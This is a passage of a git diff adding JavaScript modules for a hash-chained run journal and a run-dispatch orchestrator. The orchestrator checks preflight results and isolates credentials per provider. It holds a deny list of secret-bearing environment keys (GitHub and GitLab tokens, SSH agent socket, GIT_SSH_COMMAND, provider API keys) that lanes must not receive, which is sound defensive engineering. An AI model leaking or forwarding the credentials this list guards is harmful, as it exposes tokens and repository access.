+async function bindRecord(store, runId) { + const record = await store.getByRunId(runId); + return validateBoundRunRecord(record); +} + +function assembleHandle(context) { + const { store, anchor, runId, binding, fingerprint, rootToken, dirToken } = context; + const journalMode = context.journalMode ?? JOURNAL_MODE_LEGACY; + // Snapshot cache for the serialized operation chain. Reads always fully + // re-audit; a locked mutation may reuse the snapshot only while the journal + // bytes are exactly the audited ones, so any external modification forces a + // full parse/replay before anything else happens. + let snapshot = null; + + async function rebind() { + if (journalMode === JOURNAL_MODE_AGGREGATE) { + const fresh = await bindAggregateResolution(anchor, runId); + if (fresh.binding_digest !== binding.binding_digest) { + failJournal('run_journal_identity_conflict', 'run_id', + 'The aggregate resolution identity does not match this journal binding.'); + } + return fresh; + } + const fresh = await bindRecord(store, runId); + if (fresh.canonical_digest !== binding.canonical_digest) { + failJournal('run_journal_identity_mismatch', 'run_id', + 'The accepted P24 record for this run changed under the journal.'); + } + return fresh; + } + + async function operate(mutating, fn) { + return withRunChain(dirToken, async () => { + await rebind(); + const rootOpened = await reopenAndVerify(rootToken, 'root'); + let dirOpened = null; + try { + dirOpened = await reopenAndVerify(dirToken, 'directory'); + await verifyCreationStamp(dirOpened, binding, journalMode); + let lockToken = null; + try { + if (mutating) lockToken = await acquireRunLock(dirOpened); + if (journalMode === JOURNAL_MODE_AGGREGATE) { + await rebind(); + await verifyCreationStamp(dirOpened, binding, journalMode); + } + const result = await fn(dirOpened, lockToken); + const rootAfter = await reopenAndVerify(rootToken, 'root'); + await rootAfter.handle.close().catch(() => {}); + return result; + } finally { + if (lockToken !== null) await releaseRunLock(dirOpened, lockToken); + } + } finally { + if (dirOpened !== null) await dirOpened.handle.close().catch(() => {}); + await rootOpened.handle.close().catch(() => {}); + } + }); + } + + const identityFields = journalMode === JOURNAL_MODE_AGGREGATE + ? { + root: rootToken.path, + directory: dirToken.path, + run_id: runId, + aggregate_binding_digest: binding.binding_digest, + run_fingerprint: fingerprint, + } + : { + root: rootToken.path, + directory: dirToken.path, + run_id: runId, + record_canonical_digest: binding.canonical_digest, + run_fingerprint: fingerprint, + }; + + return capturedFreeze({ + ...identityFields, + + async currentState() { + return operate(true, async (dirOpened) => { + const audited = await auditedJournal(dirOpened, true, false); + return audited.state; + }); + }, + + async append(event) { + if (event === undefined || event === null || typeof event !== 'object' || Array.isArray(event)) { + failJournal('invalid_type', 'event', 'A journal append must be a plain event object.'); + } + for (const key of sortedCapturedKeys(event)) { + if (!capturedIncludes(['kind', 'data', 'dedupe_key', 'expected_seq'], key)) { + failJournal('unknown_key', `event.${key}`, `event.${key} is not part of the closed append shape.`); + } + } + for (const key of ['kind', 'data']) { + if (!(key in event)) failJournal('missing_key', `event.${key}`, `event.${key} is required.`); + } + if (capturedHasOwn(event, 'expected_seq') + && (typeof event.expected_seq !== 'number' || !NUMBER_IS_SAFE_INTEGER(event.expected_seq) + || event.expected_seq < 1)) { + failJournal('invalid_format', 'event.expected_seq', + 'event.expected_seq must be a positive safe integer.'); + } + const kind = event.kind; + const data = event.data; + const dedupeKey = capturedHasOwn(event, 'dedupe_key') ? event.dedupe_key : undefined; + const expectedSeq = capturedHasOwn(event, 'expected_seq') ? event.expected_seq : undefined; + if (dedupeKey !== undefined && (typeof dedupeKey !== 'string' + || !capturedTest(/^[\x21-\x7e]{1,128}$/u, dedupeKey))) { + failJournal('invalid_format', 'event.dedupe_key', + 'event.dedupe_key must be 1-128 printable ASCII characters.'); + } + return operate(true, async (dirOpened) => { + const cleaned = await auditLayout(dirOpened); + await removeStaleTemporaries(dirOpened, cleaned.temporaries); + const audited = await auditedJournal(dirOpened, false, false); + let current = audited; + if (audited.tornTailBytes > 0) { + await healTornTailLocked(dirOpened, audited.bytes, audited.tornTailBytes); + current = await auditedJournal(dirOpened, true, true); + } + return commitAppend(dirOpened, current, kind, data, dedupeKey, expectedSeq); + }); + }, + + async healTornTail() { + return operate(true, async (dirOpened) => { + const cleaned = await auditLayout(dirOpened); + const removed = await removeStaleTemporaries(dirOpened, cleaned.temporaries); + const audited = await auditedJournal(dirOpened, true, true); + if (audited.tornTailBytes === 0) { + return snapshotRecord({ + healed: false, + removed_temporaries: removed, + state: audited.state, + }); + } + await healTornTailLocked(dirOpened, audited.bytes, audited.tornTailBytes); + const healed = await auditedJournal(dirOpened, true, true); + await republishStateCache(dirOpened, healed.entries, healed.state); + return snapshotRecord({ + healed: true, + removed_temporaries: removed, + state: healed.state, + }); + }); + }, + + async cursorAfter(seq) { + if (typeof seq !== 'number' || !NUMBER_IS_SAFE_INTEGER(seq) || seq < 0) { + failJournal('invalid_format', 'seq', 'seq must be a non-negative safe integer.'); + } + return operate(true, async (dirOpened) => { + const audited = await auditedJournal(dirOpened, true, false); + if (seq > audited.state.revision) { + failJournal('run_journal_cursor_stale', 'seq', + 'The requested cursor position is beyond the committed journal head.'); + } + const head = seq === 0 ? RUN_JOURNAL_GENESIS_PREV : audited.entries[seq - 1].hash; + return snapshotRecord({ + seq, + head_hash: head, + cursor: encodeCursorToken(fingerprint, seq, head), + }); + }); + }, + + async readPage(options) { + let cursor = null; + let limit = MAX_RUN_JOURNAL_PAGE_EVENTS; + if (options !== undefined && options !== null) { + if (typeof options !== 'object' || Array.isArray(options)) { + failJournal('invalid_type', 'options', 'readPage options must be a plain object.'); + } + for (const key of sortedCapturedKeys(options)) { + if (!capturedIncludes(['cursor', 'limit'], key)) { + failJournal('unknown_key', `options.${key}`, `options.${key} is not part of the closed page shape.`); + } + } + if ('cursor' in options) cursor = options.cursor; + if ('limit' in options) { + limit = options.limit; + if (typeof limit !== 'number' || !NUMBER_IS_SAFE_INTEGER(limit) + || limit < 1 || limit > MAX_RUN_JOURNAL_PAGE_EVENTS) { + failJournal('invalid_format', 'options.limit', + `options.limit must be between 1 and ${MAX_RUN_JOURNAL_PAGE_EVENTS}.`); + } + } + } + return operate(true, async (dirOpened) => { + const audited = await auditedJournal(dirOpened, true, false); + let start = 1; + if (cursor !== null && cursor !== undefined) { + const decoded = decodeCursorToken(cursor, fingerprint); + if (decoded.seq > audited.state.revision) { + failJournal('run_journal_cursor_stale', 'cursor', + 'The cursor points beyond the committed journal head.'); + } + const actualHead = decoded.seq === 0 + ? RUN_JOURNAL_GENESIS_PREV + : audited.entries[decoded.seq - 1].hash; + if (actualHead !== decoded.head) { + failJournal('run_journal_cursor_mismatch', 'cursor', + 'The cursor prefix hash no longer matches this run journal.'); + } + start = decoded.seq + 1; + } + const events = []; + let servedBytes = 0; + let truncated = false; + let index = start; + while (index <= audited.state.revision) { + if (events.length >= limit) { + truncated = index <= audited.state.revision; + break; + } + const lineBytes = audited.entryLines[index - 1]; + if (servedBytes + lineBytes > MAX_RUN_JOURNAL_PAGE_BYTES && events.length > 0) { + truncated = true; + break; + } + events.push(audited.entries[index - 1]); + servedBytes += lineBytes; + index += 1; + } + const remaining = Math.max(0, audited.state.revision - (start - 1 + events.length)); + const nextCursor = events.length > 0 && remaining > 0 + ? encodeCursorToken(fingerprint, start - 1 + events.length, audited.entries[start - 2 + events.length].hash) + : null; + return snapshotRecord({ + events, + next_cursor: nextCursor, + diagnostics: freezeData({ + served_events: events.length, + served_bytes: servedBytes, + truncated, + remaining_events: remaining, + stale_temporaries: temporaryCount(audited), + }), + }); + }); + }, + }); + + async function auditedJournal(dirToken, forceFullAudit, mutateSnapshot) { + // Lock-free readers may observe an atomic rename mid-flight; any complete + // byte snapshot is valid, so such observations retry within bounds. + for (let attempt = 0; ; attempt += 1) { + let opened; + try { + opened = await readBoundedFile( + dirToken, JOURNAL_NAME, MAX_RUN_JOURNAL_FILE_BYTES, JOURNAL_NAME, !mutateSnapshot, + ); + } catch (error) { + if (isJournalVolatility(error) && attempt < MAX_AUDIT_ATTEMPTS) { + await sleep(RUN_JOURNAL_LOCK_POLL_MS * (attempt % 8 === 7 ? 8 : 1)); + continue; + } + throw error; + } + const bytes = opened === null ? null : opened.bytes; + const unchanged = snapshot !== null + && ((snapshot.bytes === null && bytes === null) + || (snapshot.bytes !== null && bytes !== null && snapshot.bytes.equals(bytes))); + if (!forceFullAudit && unchanged) { + if (mutateSnapshot) return snapshot; + return { ...snapshot, layout: await auditLayout(dirToken, !mutateSnapshot) }; + } + try { + const parsed = parseJournalBytes(bytes); + if (parsed.entries.length > MAX_RUN_JOURNAL_ENTRIES) { + failJournal('run_journal_flood', JOURNAL_NAME, + `Run journals must not exceed ${MAX_RUN_JOURNAL_ENTRIES} entries.`); + } + const state = reduceRunJournalEntriesV1(parsed.entries); + const cache = await auditStateCache( + dirToken, parsed.entries, state, !mutateSnapshot, + ); + const audited = { + layout: await auditLayout(dirToken, !mutateSnapshot), + bytes, + entries: parsed.entries, + entryLines: parsed.entryLines, + tornTailBytes: parsed.tornTailBytes, + state, + cacheRevision: cache.present ? cache.revision : null, + }; + snapshot = audited; + return audited; + } catch (error) { + if (isJournalVolatility(error) && attempt < MAX_AUDIT_ATTEMPTS) { + await sleep(RUN_JOURNAL_LOCK_POLL_MS * (attempt % 8 === 7 ? 8 : 1)); + continue; + } + throw error; + } + } + } + + function temporaryCount(audited) { + return audited.layout.temporaries.length; + } + + function dedupeIndexOf(entries) { + const index = new Map(); + for (const entry of entries) { + if (entry.dedupe_key !== undefined) index.set(entry.dedupe_key, entry.seq); + } + return index; +} + +async function commitAppend(dirOpened, audited, kind, data, dedupeKey, expectedSeq) { + const state = audited.state; + const candidateSeq = state.revision + 1; + const existingDedupeSeq = dedupeKey === undefined + ? undefined + : dedupeIndexOf(audited.entries).get(dedupeKey); + if (dedupeKey !== undefined && existingDedupeSeq !== undefined) { + const existingSeq = existingDedupeSeq; + const existing = audited.entries[existingSeq - 1]; + const sameBody = canonicalEventBody(existing.kind, existing.data, existing.dedupe_key) + === canonicalEventBody(kind, data, dedupeKey); + if (sameBody) { + if (existingSeq === state.revision + && (expectedSeq === undefined || expectedSeq === existingSeq)) { + return snapshotRecord({ + created: false, + deduped: true, + entry: existing, + state, + }); + } + if (expectedSeq !== undefined && expectedSeq !== existingSeq) { + failJournal('run_journal_expectation_conflict', 'expected_seq', + 'The compare-and-swap sequence expectation does not match the journal.'); + } + failJournal('run_journal_replay_conflict', 'dedupe_key', + 'That dedupe key already committed earlier in the journal; resubmission is a replay.'); + } + failJournal('run_journal_dedupe_conflict', 'dedupe_key', + 'That dedupe key already binds a different journal event body.'); + } + if (expectedSeq !== undefined && expectedSeq !== candidateSeq) { + failJournal('run_journal_expectation_conflict', 'expected_seq', + 'The compare-and-swap sequence expectation does not match the next journal position.'); + } + if (candidateSeq > MAX_RUN_JOURNAL_ENTRIES) { + failJournal('run_journal_flood', JOURNAL_NAME, + `Run journals must not exceed ${MAX_RUN_JOURNAL_ENTRIES} entries.`); + } + const normalized = validateRunJournalEventDataV1(kind, data); + const hash = entryHash(candidateSeq, state.head_hash, normalized.kind, normalized.data, dedupeKey); + const candidate = freezeData(validateRunJournalEntryV1({ + schema: RUN_JOURNAL_ENTRY_SCHEMA_ID, + seq: candidateSeq, + kind: normalized.kind, + data: normalized.data, + ...(dedupeKey === undefined ? {} : { dedupe_key: dedupeKey }), + prev: state.head_hash, + hash, + })); + const nextState = applyRunJournalEntryV1(state, candidate); + const line = `${canonicalJsonStringify(candidate)}\n`; + const lineBytes = NodeBuffer.byteLength(line, 'utf8'); + if (lineBytes > MAX_RUN_JOURNAL_ENTRY_BYTES + 1) { + failJournal('run_journal_entry_too_large', 'event', + `Journal entries must not exceed ${MAX_RUN_JOURNAL_ENTRY_BYTES} bytes.`); + } + const previousBytes = audited.bytes ?? NodeBuffer.alloc(0); + const newBytes = NodeBuffer.concat([previousBytes, NodeBuffer.from(line, 'utf8')]); + if (newBytes.byteLength > MAX_RUN_JOURNAL_FILE_BYTES) { + failJournal('run_journal_file_too_large', JOURNAL_NAME, + `Journal files must not exceed ${MAX_RUN_JOURNAL_FILE_BYTES} bytes.`); + } + await atomicPublish(dirOpened, JOURNAL_NAME, newBytes, JOURNAL_NAME); + // Publish verification: durable bytes must equal exactly the audited + // prefix plus this one verified entry; nothing else counts as committed. + const reread = await readBoundedFile( + dirOpened, JOURNAL_NAME, MAX_RUN_JOURNAL_FILE_BYTES, JOURNAL_NAME, + ); + if (reread === null || !reread.bytes.equals(newBytes)) { + failJournal('run_journal_publish_unverified', JOURNAL_NAME, + 'The published journal did not verify against the appended entry.'); + } + snapshot = { + layout: audited.layout, + bytes: newBytes, + entries: [...audited.entries, candidate], + entryLines: [...audited.entryLines, lineBytes], + tornTailBytes: 0, + state: nextState, + cacheRevision: nextState.revision, + }; + await republishStateCache(dirOpened, snapshot.entries, snapshot.state); + return snapshotRecord({ + created: true, + deduped: false, + entry: candidate, + state: nextState, + }); + } + +} + +function canonicalEventBody(kind, data, dedupeKey) { + return canonicalJsonStringify(dedupeKey === undefined + ? { kind, data } + : { kind, data, dedupe_key: dedupeKey }); +} + +async function healTornTailLocked(dirToken, bytes, tornTailBytes) { + const goodLength = Number(bytes.byteLength) - tornTailBytes; + const target = childPath(dirToken.path, JOURNAL_NAME); + let handle; + try { + handle = await open(target, FILE_WRITE_FLAGS); + } catch (error) { + if (error?.code === 'ELOOP' || error?.code === 'ENOTDIR' || error?.code === 'EISDIR') { + failJournal('run_journal_not_regular', JOURNAL_NAME, + 'The journal file must stay a regular non-symlink file while it is healed.'); + } + if (error?.code === 'ENOENT') { + failJournal('run_journal_not_found', JOURNAL_NAME, + 'The journal file disappeared before it could be healed.'); + } + throw error; + } + try { + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, JOURNAL_NAME); + await handle.truncate(goodLength); + await handle.sync(); + } finally { + await handle.close().catch(() => {}); + } + await syncDirectory(dirToken.handle); +} + +async function republishStateCache(dirToken, entries, state) { + const canonical = `${canonicalJsonStringify(state)}\n`; + const bytes = NodeBuffer.from(canonical, 'utf8'); + if (bytes.byteLength > MAX_RUN_JOURNAL_STATE_BYTES) { + failJournal('run_journal_state_too_large', STATE_NAME, + 'The derived state cache exceeds the bounded size.'); + } + await atomicPublish(dirToken, STATE_NAME, bytes, STATE_NAME); + const reread = await readBoundedFile(dirToken, STATE_NAME, MAX_RUN_JOURNAL_STATE_BYTES, STATE_NAME); + if (reread === null || !reread.bytes.equals(bytes)) { + failJournal('run_journal_publish_unverified', STATE_NAME, + 'The published derived state did not verify.'); + } +} + +// --------------------------------------------------------------------------- +// Public entry points +// --------------------------------------------------------------------------- + +export async function createRunJournal(options) { + const parsed = parseJournalOptions(options); + // Binding comes first: no journal path is created or read before an exact + // validated accepted-P24 record exists for this run identity. + const binding = await bindRecord(parsed.store, parsed.runId); + const handle = await buildHandle(parsed, binding, 'create'); + // Restore-time discipline mirrors the accepted P24 store: the full layout, + // chain, replay, and cache audit run before the caller sees the handle. + await handle.currentState(); + return handle; +} + +export async function openRunJournal(options) { + const parsed = parseJournalOptions(options); + const binding = await bindRecord(parsed.store, parsed.runId); + const handle = await buildHandle(parsed, binding, 'open'); + await handle.currentState(); + return handle; +} + +export async function createAggregateRunJournal(options) { + const parsed = parseAggregateJournalOptions(options); + const binding = await bindAggregateResolution(parsed.anchor, parsed.runId); + const handle = await buildHandle(parsed, binding, 'create'); + await handle.currentState(); + return handle; +} + +export async function openAggregateRunJournal(options) { + const parsed = parseAggregateJournalOptions(options); + const binding = await bindAggregateResolution(parsed.anchor, parsed.runId); + const handle = await buildHandle(parsed, binding, 'open'); + await handle.currentState(); + return handle; +} diff --git a/plugins/codex-co-engineer/mcp/v3/run-orchestration.mjs b/plugins/codex-co-engineer/mcp/v3/run-orchestration.mjs new file mode 100644 index 0000000..c990961 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/run-orchestration.mjs @@ -0,0 +1,700 @@ +// RunOrchestrationV1 — run dispatch orchestration boundary (P31). +// +// Additive v3 module. It binds accepted P26 preflight to accepted P29 closed +// credential/environment projection BEFORE any workspace, branch or ref, +// reservation, dispatch, credential handoff, or provider process exists. +// +// Fail-closed pipeline: +// 1. hostile-input quarantine of the orchestration request; +// 2. accepted P26 `validateRunPreflightV1()` — capacity denial and every +// other preflight failure rethrow unchanged with zero side effects: +// no environment projection, no credential-file read, no handoff, no +// dispatcher call, no workspace, no reservation, no provider process; +// 3. only after a ready preflight, P29 closed projection per resolved +// lane (`materializeProviderEnvironment`) plus isolation and +// remote-mutation denial; +// 4. prepare returns that binding and still creates no handoff and no +// process; dispatch is an explicit later intent through an injected +// seam, never a hidden default and never supervisor cutover; +// 5. dispatch creates owner-only P29 handoffs (secrets never in argv), +// invokes the injected dispatcher with the closed map, and on +// failure/cancel/terminal/restart unlinks remaining handoff files +// via a session-unique lifecycle identity (never a collidable +// run_id+assignment_id digest). Cleanup uses only internally +// registered receipt/session provenance. Unlink/stop failures are +// not swallowed: remaining genuine lanes are still cleaned, and +// the caller receives cleaned=false with sanitized per-lane +// unresolved evidence. +// +// This boundary never provisions a workspace, never creates a branch or +// ref, never holds a reservation, never audits live refs (P30), never +// exposes a public API, and never claims Gate A. P23 composition is not +// invoked. Upstream P26/P29 denial codes pass through unchanged. + +import { createHash, randomBytes } from 'node:crypto'; + +import { + CREDENTIAL_BOUNDARY_ERROR_CODES, + CREDENTIAL_BOUNDARY_SCHEMA_ID, + CREDENTIAL_FILE_ENV_KEYS, + CredentialBoundaryError, + DSH_OX_MODEL, + assertNoWorkerPushUrl, + collectLaneSecrets, + createCredentialHandoff, + denyWorkerRemoteMutation, + extractCredentialEnv, + inspectArgvForSecrets, + inspectEnvForSecrets, + materializeProviderEnvironment, + recoverCredentialHandoffByIdentity, +} from './credential-boundary.mjs'; +import { capturedFreeze, capturedIncludes, capturedOwnKeys } from './grammar.mjs'; +import { + RUN_PREFLIGHT_ERROR_CODES, + RUN_PREFLIGHT_SCHEMA_ID, + RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS, + validateRunPreflightV1, +} from './run-preflight.mjs'; +import { RunContractV1Error, isPlainObject } from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + fail, + freezeData, + hasOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const RUN_ORCHESTRATION_SCHEMA_ID = 'codex-co-engineer.run-orchestration.v1'; +export const RUN_ORCHESTRATION_VERSION = 1; + +export const ORCHESTRATION_INTENTS = capturedFreeze(['prepare', 'dispatch']); +export const ORCHESTRATION_REQUEST_ALLOWED_KEYS = capturedFreeze(['manifest', 'intent']); +export const ORCHESTRATION_OPTIONS_ALLOWED_KEYS = capturedFreeze([ + 'host', 'spawn', 'env', 'dispatch', +]); + +export const RUN_ORCHESTRATION_CHECKS = capturedFreeze([ + 'request_quarantine', + 'preflight', + 'capacity', + 'closed_environment_projection', + 'provider_isolation', + 'remote_mutation_denied', + 'credential_handoff_deferred_until_dispatch', + 'cleanup_on_failure_cancel_terminal_restart', +]); + +export const RUN_ORCHESTRATION_SIDE_EFFECTS = capturedFreeze([ + 'workspace_created', + 'branch_or_ref_created', + 'reservation_held', + 'task_dispatched', + 'credentials_projected', + 'credential_handoff_created', + 'provider_process_started', + 'remote_mutated', + 'protected_ref_audited', + 'public_api_exposed', +]); + +export const RUN_ORCHESTRATION_ALWAYS_FALSE_SIDE_EFFECTS = capturedFreeze([ + 'workspace_created', + 'branch_or_ref_created', + 'reservation_held', + 'remote_mutated', + 'protected_ref_audited', + 'public_api_exposed', +]); + +export const RUN_ORCHESTRATION_ERROR_CODES = capturedFreeze([ + 'orchestration_intent_invalid', + 'orchestration_dispatcher_required', + 'orchestration_selection_unresolved', + 'orchestration_dispatch_failed', + 'orchestration_session_unknown', + 'orchestration_lane_isolation_failed', + 'orchestration_argv_secret_denied', +]); + +const PRIVATE_RECEIPT_KEYS = capturedFreeze([ + 'schema', 'version', 'status', 'run_id', 'intent', 'preflight', 'lanes', + 'checks', 'side_effects', +]); +const PRIVATE_LANE_KEYS = capturedFreeze([ + 'assignment_id', 'provider', 'model', 'status', 'identity', + 'projected_keys', 'credential_present', +]); +const PRIVATE_CROSS_PROVIDER_SECRET_KEYS = capturedFreeze([ + 'CURSOR_API_KEY', 'MODEL_API_KEY', 'OPENROUTER_API_KEY', 'XAI_API_KEY', +]); +const PRIVATE_ALWAYS_FORBIDDEN_KEYS = capturedFreeze([ + 'BITBUCKET_TOKEN', 'GH_TOKEN', 'GITHUB_TOKEN', 'GITLAB_TOKEN', 'GIT_SSH', + 'GIT_SSH_COMMAND', 'NODE_OPTIONS', 'NODE_PATH', 'SSH_AGENT_PID', + 'SSH_AUTH_SOCK', 'WORKTREE_BOOTSTRAP_TASK', + ...CREDENTIAL_FILE_ENV_KEYS, +]); +const PRIVATE_CONTENT_FREE = capturedFreeze({ + orchestration_intent_invalid: 'The orchestration intent is not in the closed vocabulary.', + orchestration_dispatcher_required: 'Dispatch requires an injected dispatcher seam.', + orchestration_selection_unresolved: 'Dispatch requires every lane to carry an exact provider.', + orchestration_dispatch_failed: 'Provider dispatch failed closed.', + orchestration_session_unknown: 'The orchestration session is not available.', + orchestration_lane_isolation_failed: 'A lane projection violated provider isolation.', + orchestration_argv_secret_denied: 'Provider argv cannot carry credential material.', +}); + +const PRIVATE_SESSIONS = new WeakMap(); +const RANDOM_BYTES = randomBytes; +const PRIVATE_CLEANUP_FAILURE_CODES = capturedFreeze([ + 'handoff_cleanup_failed', + 'dispatcher_stop_failed', +]); + +function failOrchestration(code, errorPath) { + fail(code, errorPath, PRIVATE_CONTENT_FREE[code] ?? 'The orchestration request failed closed.'); +} + +function sortedOwnKeys(value) { + const keys = capturedOwnKeys(value); + const sorted = [...keys]; + sorted.sort(); + return sorted; +} + +function assertClosedKeySet(value, allowedKeys, errorPath) { + for (const key of sortedOwnKeys(value)) { + if (!capturedIncludes(allowedKeys, key)) { + fail('invalid_format', `${errorPath}.${key}`, + `${errorPath} carries a key outside the closed orchestration vocabulary.`); + } + } +} + +function emptySideEffects() { + const sideEffects = {}; + for (const claim of RUN_ORCHESTRATION_SIDE_EFFECTS) sideEffects[claim] = false; + return sideEffects; +} + +function newSessionNonce() { + return RANDOM_BYTES(16).toString('hex'); +} + +function laneIdentity(runId, assignmentId, nonce) { + return createHash('sha256') + .update(`p31:${runId}:${assignmentId}:${nonce}`) + .digest('hex') + .slice(0, 32); +} + +function parseIntent(request) { + if (!hasOwn(request, 'intent')) return 'prepare'; + const intent = ownDataValue(request, 'intent', 'request.intent'); + if (typeof intent !== 'string' || !capturedIncludes(ORCHESTRATION_INTENTS, intent)) { + failOrchestration('orchestration_intent_invalid', 'request.intent'); + } + return intent; +} + +function parseRequest(request) { + if (request === undefined || request === null) { + fail('invalid_type', 'request', 'An orchestration request must be a plain JSON data object.'); + } + assertNotProxy(request, 'request'); + if (!isPlainObject(request)) { + fail('invalid_type', 'request', 'An orchestration request must be a plain JSON data object.'); + } + assertDirectJsonClosure(request, 'request'); + freezeData(request); + assertClosedKeySet(request, ORCHESTRATION_REQUEST_ALLOWED_KEYS, 'request'); + if (!hasOwn(request, 'manifest')) { + fail('missing_key', 'request.manifest', + 'request.manifest is required; orchestration requests have no hidden defaults.'); + } + const manifest = ownDataValue(request, 'manifest', 'request.manifest'); + const intent = parseIntent(request); + return capturedFreeze({ manifest, intent }); +} + +function parseOptions(options) { + if (options === undefined) { + return { + host: null, + spawn: undefined, + dispatch: null, + envOwner: null, + }; + } + assertNotProxy(options, 'options'); + if (!isPlainObject(options)) { + fail('invalid_type', 'options', 'options must be a plain JSON data object.'); + } + assertClosedKeySet(options, ORCHESTRATION_OPTIONS_ALLOWED_KEYS, 'options'); + let spawn; + if (hasOwn(options, 'spawn')) { + spawn = ownDataValue(options, 'spawn', 'options.spawn'); + if (typeof spawn !== 'function') { + fail('invalid_type', 'options.spawn', 'options.spawn must be a spawn function.'); + } + assertNotProxy(spawn, 'options.spawn'); + } + let dispatch = null; + if (hasOwn(options, 'dispatch')) { + dispatch = ownDataValue(options, 'dispatch', 'options.dispatch'); + if (typeof dispatch !== 'function') { + fail('invalid_type', 'options.dispatch', 'options.dispatch must be a function.'); + } + assertNotProxy(dispatch, 'options.dispatch'); + } + let host = null; + if (hasOwn(options, 'host')) { + host = ownDataValue(options, 'host', 'options.host'); + } + return { + host, + spawn, + dispatch, + envOwner: hasOwn(options, 'env') ? options : null, + }; +} + +function preflightOptionsFrom(parsed) { + const options = {}; + if (parsed.host !== null) options.host = parsed.host; + if (parsed.spawn !== undefined) options.spawn = parsed.spawn; + return options; +} + +function takeEnvAfterPreflight(parsed) { + if (parsed.envOwner === null) return process.env; + return ownDataValue(parsed.envOwner, 'env', 'options.env'); +} + +function allowedCredentialKey(provider, dshModel) { + if (provider === 'grok') return 'XAI_API_KEY'; + if (provider === 'cursor-cloud') return 'CURSOR_API_KEY'; + if (provider === 'dsh' && dshModel === DSH_OX_MODEL) return 'OPENROUTER_API_KEY'; + if (provider === 'dsh') return 'MODEL_API_KEY'; + return null; +} + +function assertLaneIsolation(env, provider, dshModel) { + for (const key of PRIVATE_ALWAYS_FORBIDDEN_KEYS) { + if (Object.hasOwn(env, key)) failOrchestration('orchestration_lane_isolation_failed', 'lanes'); + } + const allowed = allowedCredentialKey(provider, dshModel); + for (const key of PRIVATE_CROSS_PROVIDER_SECRET_KEYS) { + if (key === allowed) continue; + if (Object.hasOwn(env, key)) failOrchestration('orchestration_lane_isolation_failed', 'lanes'); + } + if (env.GIT_TERMINAL_PROMPT !== '0' || env.GIT_ASKPASS !== '' || env.GIT_PUSH_OPTION_COUNT !== '0') { + failOrchestration('orchestration_lane_isolation_failed', 'lanes'); + } + assertNoWorkerPushUrl(env); +} + +function foreignSecrets(envSource, provider, dshModel) { + const allowed = allowedCredentialKey(provider, dshModel); + const secrets = []; + const extracted = extractCredentialEnv(envSource); + for (const key of PRIVATE_CROSS_PROVIDER_SECRET_KEYS) { + if (key === allowed) continue; + if (typeof extracted[key] === 'string' && extracted[key].length > 0) secrets.push(extracted[key]); + } + const ambient = collectLaneSecrets(envSource); + for (const value of ambient) { + if (allowed && extracted[allowed] === value) continue; + if (!secrets.includes(value)) secrets.push(value); + } + return secrets; +} + +function resolveLaneExecution(assignment) { + const execution = assignment?.execution; + if (!execution || typeof execution !== 'object') { + return { provider: null, model: null, dshModel: undefined, resolved: false }; + } + if (typeof execution.profile === 'string' && execution.profile.length > 0) { + return { provider: null, model: null, dshModel: undefined, resolved: false }; + } + if (typeof execution.provider !== 'string' || typeof execution.model !== 'string') { + return { provider: null, model: null, dshModel: undefined, resolved: false }; + } + const dshModel = execution.provider === 'dsh' ? execution.model : undefined; + return { + provider: execution.provider, + model: execution.model, + dshModel, + resolved: true, + }; +} + +async function projectManifestLanes(runId, assignments, envSource, nonce) { + const publicLanes = []; + const internal = []; + for (const assignment of assignments) { + const assignmentId = assignment.assignment_id; + const identity = laneIdentity(runId, assignmentId, nonce); + const resolved = resolveLaneExecution(assignment); + if (!resolved.resolved) { + const lane = capturedFreeze({ + assignment_id: assignmentId, + provider: null, + model: null, + status: 'selection_unresolved', + identity, + projected_keys: capturedFreeze([]), + credential_present: false, + }); + publicLanes.push(lane); + internal.push({ + assignmentId, identity, unresolved: true, env: null, secrets: [], argv: capturedFreeze([assignmentId]), + }); + continue; + } + const env = await materializeProviderEnvironment({ + provider: resolved.provider, + source: envSource, + dshModel: resolved.dshModel, + operation: 'lane', + }); + assertLaneIsolation(env, resolved.provider, resolved.dshModel); + if (inspectEnvForSecrets(env, foreignSecrets(envSource, resolved.provider, resolved.dshModel))) { + failOrchestration('orchestration_lane_isolation_failed', 'lanes'); + } + const projectedKeys = Object.keys(env).sort(); + const credentialPresent = Object.keys(extractCredentialEnv(env)).length > 0; + const argv = capturedFreeze([assignmentId]); + const secrets = collectLaneSecrets(env); + if (inspectArgvForSecrets(argv, secrets) || inspectArgvForSecrets(argv, collectLaneSecrets(envSource))) { + failOrchestration('orchestration_argv_secret_denied', 'lanes'); + } + const lane = capturedFreeze({ + assignment_id: assignmentId, + provider: resolved.provider, + model: resolved.model, + status: 'projected', + identity, + projected_keys: capturedFreeze(projectedKeys), + credential_present: credentialPresent, + }); + publicLanes.push(lane); + internal.push({ + assignmentId, + identity, + unresolved: false, + provider: resolved.provider, + model: resolved.model, + dshModel: resolved.dshModel, + env, + secrets, + argv, + }); + } + return { publicLanes, internal }; +} + +function buildReceipt({ + status, runId, intent, preflight, lanes, sideEffects, +}) { + const receipt = capturedFreeze({ + schema: RUN_ORCHESTRATION_SCHEMA_ID, + version: RUN_ORCHESTRATION_VERSION, + status, + run_id: runId, + intent, + preflight, + lanes: capturedFreeze(lanes), + checks: RUN_ORCHESTRATION_CHECKS, + side_effects: capturedFreeze(sideEffects), + }); + for (const key of PRIVATE_RECEIPT_KEYS) { + if (!Object.hasOwn(receipt, key)) fail('invalid_format', 'receipt', 'Orchestration receipt is incomplete.'); + } + for (const lane of lanes) { + for (const key of PRIVATE_LANE_KEYS) { + if (!Object.hasOwn(lane, key)) fail('invalid_format', 'lanes', 'Orchestration lane receipt is incomplete.'); + } + } + for (const claim of RUN_ORCHESTRATION_ALWAYS_FALSE_SIDE_EFFECTS) { + if (receipt.side_effects[claim] !== false) { + fail('invalid_format', 'side_effects', 'Orchestration claimed a denied side effect.'); + } + } + return freezeData(receipt); +} + +function sanitizeUnresolved(entries) { + const unresolved = []; + for (const entry of entries) { + if (!entry || typeof entry !== 'object') continue; + const assignmentId = entry.assignment_id; + const code = entry.code; + if (typeof assignmentId !== 'string' || assignmentId.length === 0) continue; + if (typeof code !== 'string' || !capturedIncludes(PRIVATE_CLEANUP_FAILURE_CODES, code)) continue; + unresolved.push(capturedFreeze({ assignment_id: assignmentId, code })); + } + unresolved.sort((left, right) => { + if (left.assignment_id !== right.assignment_id) { + return left.assignment_id < right.assignment_id ? -1 : 1; + } + 